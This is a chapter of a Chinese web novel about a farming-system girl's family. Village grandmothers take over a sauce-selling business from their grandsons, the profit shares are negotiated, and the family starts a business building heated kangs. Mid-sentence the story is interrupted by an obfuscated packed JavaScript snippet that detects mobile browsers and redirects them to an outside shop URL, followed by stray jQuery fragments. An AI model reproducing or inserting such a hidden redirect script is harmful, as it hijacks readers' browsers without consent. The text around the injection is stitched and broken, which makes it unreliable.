55. 老太太天团二

作品:《我的种田系统被托管了

    话说到这份上,那就少不得把那些小兄弟一同叫过来商议,毕竟这不是兰老大一个人的生意。


    赶着这个空档,牛贵香还不忘把家里的炕烧起来,顺带给老姐妹们宣传宣传。坐在炕上的老太太们眼瞧着炕不一会儿就从头热到了脚,直烫屁股,都新奇地左摸摸,右瞧瞧。


    有好信儿的瞅见了,就问牛贵香,她咋知道的方子呢?


    牛贵香早就琢磨好了,她开口道:“都是我那三孙媳妇,她从娘家带来的,她家往前头数,也是正经的大户人家!这是她压箱底的方子,她也是实心孩子,心疼我这老腰怕风怕凉,把家底都掏出来,给我用上了!”


    还是那句话,兰融太小了,牛贵香见得牛鬼蛇神多,心里一直觉得,孩子嘛,稳稳当当长大最好!要那些虚名,并不是啥好事!


    众人纷纷将石香楠好一顿夸,连带着一对双儿兰融、兰重也跟着收了不少夸赞。


    牛贵香也不着急现在就把搭炕的事订下来,她老神在在地坐在炕边,瞧着有几个老太太舒服得快要睡过去,心里也就有了谱。


    不一会儿,兰老大就领着一群大小伙子到了兰家。


    其中小矮个的看见他奶也在,都快要哭了,他委屈极了:“奶!你来干啥呀?”


    他平日在兄弟中,啥啥都不行,这好不容易有个生意做,他奶干啥也要掺和?


    元老太太瞧着他那没出息样,翻了个白眼:“哭啥哭?熬酱都熬不明白的完犊子玩意!”


    他们要是干活利索,把酱熬的香喷喷的,哪里轮的着她们过来问?


    像元老太太一样想法的,可不止她一个。有脾气好的,安抚两句,也有脾气再火爆一点的,一个大逼兜呼在孙子脑门上。


    兰老大连忙上前拉扯,先让奶奶们都降降火气。


    众人在院子里都摆开阵仗,一群人一边,中间还站着个兰老大,众人瞅着他,都在等他开口。


    兰老大沉默半晌:“我是这么想的,你们听听,有啥话,等我说完了再补充,成不成?!”


    在场的众人都很给他面子,纷纷附和:“成!”


    兰老大便从头开始分析,先是指出小伙子们对熬酱这项工种的不熟练,说的小伙子纷纷低头不语。


    又点名了老太太们腿脚上的硬伤,说的老太太们不服不忿,差点又要上前跟他好好论一论,上山下地,洗衣做饭都是她们,咋就能瞧不起人?


    兰老大迅速截住话头,提出了一个新方案:合作!


    “啥?才二十文?我不干!卖酱卖酱,酱不是根本的?他们就是个跑腿的,咋能占大头?”几个年纪大的纷纷挥手不赞同。


    要就一锅二十文的挣头,她们何苦过来找兰老大呢?


    兰老大苦着脸,他是真没招了,便求助地看着牛贵香,牛贵香也瞅着他:“要不再给加点吧,二十文……”要她她也不干!


    元婆子抓住小矮子:“奶跟你干,你多给奶发点工钱,成不?奶就不要你孝敬钱了。”


    小矮子这回真哭了,这哪能一样!


    孝敬钱给多给少,那是看他心意!工钱就是工钱,少一分他奶都能薅他耳朵。


    元婆子大掌扣住小矮子的锁骨,摆出一副抓年猪的姿态,就是不放他走。


    还是华婶子上前拦住,冲着元婆子摇摇头:“老姐姐,咱们不着急,让他们自己商量商量。”


    后院中。


    兰老大周边蹲了一圈低着头的小伙子,兰老大很铁不成钢的挨个指过去:“咋的?就没一个会做的?嚷嚷的时候属你们声最大,一到做的时候你们咋就怂了?熬酱!!狗都会!”


    身旁的小弟低声说了句:“狗不会。”


    兰老大气得倒仰,直接一屁股坐在地上。他胳膊垫在大腿上,半倾着身子,挣扎道:“那就没一个做的好的?你们但凡有一个拿的出手,顶事的呢??”


    笨想都知道,只要那帮老太太掺和进来,这些弟兄挣得钱最少都得少三成。


    那帮老太太,都是各家各户最能持家过日子的,最能省钱最有心眼的!一个个把家里操持的那叫一个好!能领着家里熬过荒年,哪个不是一等一的狠角色!


    就是这样的‘好’,一旦和他们合伙做生意,那就都变成了不好。


    鹌鹑嗉里寻豌豆,鹭鸶腿上劈精肉,蚊子腹内刳脂油。亏老太太下手!(1)


    兰老大愁得直薅自己头发,还有那不长眼的在旁边说:“大哥,别薅了,再薅就真秃了。”


    兰老大:....就你会说话!


    不过这么耗着也不是办法,他无力地冲众人道:“你们低头也没用,赶紧的,都自己寻思寻思!”


    小矮子突然抬头,兰老大眼前一亮,以为他想出啥好招,没想到他泪眼婆娑地看着兰老大,抽抽搭搭地哀求道:“大哥,求你了,别把我跟我奶放一块!我不跟她干!我还想跟你干,我就想每天来你家取酱。”


    旁边同样有娘、奶、太奶在队伍中的小伙子,突然就来了共鸣,纷纷开始抹眼泪,一边捧着自己的大脸来回擦,一边呜咽着控诉关于长辈的那二三事。


    门后边,顺着缝隙偷瞄的几个老太太纷纷撇嘴:怂货!


    兰老大从来没觉着,当别人大哥这么难!


    他左思右想,突然开口问:“那我问你们,要是不把你跟你们娘、奶安排到一块,酱还是她们做,你们每个月少挣四成银子,你们干不干?”


    傻小伙子没反应过来,问道:“咋的?啥意思?”


    兰老大给他们掰扯:“就这意思,原本你们不是来我家取酱吗?现在改了,都去老太太那边取,你们呢,每个月少挣钱,多分点钱给老太太们,干不干?”


    小矮子又泪眼婆娑地瞅兰老大,兰老大忙制止:“得得得,肯定不把你跟你奶排一块,你们也不用瞅我,我回头把你们分成几组,每组里面,肯定不能有你们娘,你们奶奶,行不?然后你们去哪个县卖,跟谁对接,回头抽签,好不好?”


    一听这话,家里有长辈在的率先点头同意,而另一群没有长辈的,则有些迟疑。


    一人问道:“那熟客咋整?”


    兰老大一锤定音:“你们抽完签乐意自己换的,我也不管,我就一条,今天晚上,得把这事订下来,以后有啥改动,咱们再说。还有,我瞅着,你们这群完蛋玩意是不是也不想接管买大酱的事?


    小伙子们全都嗯嗯点头。


    兰老大闹心的直揉脑袋,本来还寻思能清闲一些,这咋还倒退了呢?他长吁一口气:“那这么办,以后我呢,一是负责调料,二是负责收酱,三是负责你们的人手调动,然后我也要从这里抽钱,你们干不干?”


    小伙子一听,头点的像捣蒜缸一样。


    兰老大本来是真不想管,最近这段时间给他累够呛,不过一寻思,他还真不能不管,他虽然不知道这帮老太太私下啥样,那还能不知道自己娘和奶啥样吗?


    虽然俩人平日里表现的都挺大方,但有些方面还是挺抠门的。为啥俩人还请了苏婆子往家里来回好几趟,还平白送了好些大酱,那不就是寻思怎么在保证口味的同时,减少点那些金贵香料的用量么?


    兰老大有预感,要是他不管


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085512|192942||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    这事,这生意早晚得黄。


    前脚他刚寻思完这事,后脚就出了幺蛾子,要不说这帮小子完犊子呢!


    兰老大就问老太太们:“婶子们,奶奶们,咱们也不谈钱了,咱就就说分成,你们说,挣着钱了,把该扣的都给扣除去,三成给你们行不行?”


    他前面还想着多讲点价,有别让小子们吃亏,后面也不知道哪个脑瓜子栽地里的缺心眼嘟囔:“不是四成吗?”


    这下好了,老太太们直接炸了锅,啥都不听了,非要四成!


    大势已去!


    事到如今,兰老大只能苦笑着应下,心里琢磨怎么将这个事情实施下去。


    兰融听闻后却觉得兰老大这样做才是对的,她和兰老大坐在门口边乘凉,分析道:“我倒是觉得很好,像徐伯伯的店里面,做活的,卖货的,都是分开做工。”


    兰老大许久没听到这个称呼,徐伯伯...徐林!


    他突然和兰融对视,问道:“他是不是还说,要给你分成来着?”


    兰融点头:“对呀,我们不是一起签了契的?”


    兰老大一拍大腿:“哎呀!你怎么不早说?”


    兰融疑惑道:“说了干什么?等他挣了钱,自然会给我的啊!”


    兰老大更想薅头发了:“他知道咱家在哪吗?”


    兰融也不解:“我又没告诉他,说这个干嘛?不是还有你吗?”


    ....两人终于意识到了问题。


    兰老大向后一趟,破罐子破摔:“算了,到时候再说。”


    虽然兰老大和他的一众小兄弟损失了不少的利润,不过不是没有好消息。


    第二天,各家就陆陆续续找上来,开始预约搭炕。


    兰老大有两个方案,一是自己准备材料,他们只负责搭炕。还有一种,则是他们给准备材料,不光负责搭,还负责后续维修。


    这还是兰融给出的主意,结果受到了全体村民的嘲笑,还有在私下说小话传到兰老大耳朵里的:咱们就是没见过这新鲜玩意,兰老大咋想钱想疯了呢?那山上拣的东西还能要钱?


    兰老大听过也不生气,不论谁来,他依旧如此推销。


    结果准备好的材料并没有一人买单,兰老大便做主,干脆都给家里用上。


    搭炕的事业进行得如火如荼,另一旁,老太太们的生活也焕发了第二春。


    要不说姜还是老的辣!


    老太太们一上手,全都不一样了!每一锅的酱都熬的油光锃亮的泛着棕红色,每一缸的味道也都分毫不差。


    不光如此,几个老太太还将小伙子们的衣服,还有板车和酱缸的清洗工作全包了!


    原先溅上酱汁,脏兮兮的衣物都被老太太洗得洁白如新,谁都不知道她们到底咋洗的,那么干净!


    这下,不论小伙子们,还是兰老大,再也不心疼分出去的分成,这多省心!


    推车出去的小伙子收拾的利索,连带着来买酱的客户都多了一群人,一个月过后,兰老大一算,嗨!每人分的钱,竟跟之前单干时差不了多少。


    家里的生意稳固推进,兰融的任务也平稳进行,每天下学,她都会蹲在菜地旁欣赏自己家的小菜苗。


    下种的菠菜,大蒜,快要收获的萝卜,白菜,小葱,茼蒿....别说,仔细一数菜的数量,兰融顿时觉得系统还是挺大方。


    这还只是九月初的,九月中还能再补种上雪里蕻,乌塌菜,快小十样的蔬菜,让她兑换大球的梦想不再遥不可及。


    不过,很快发生了一件事,撕开兰融田园生活的美好一角。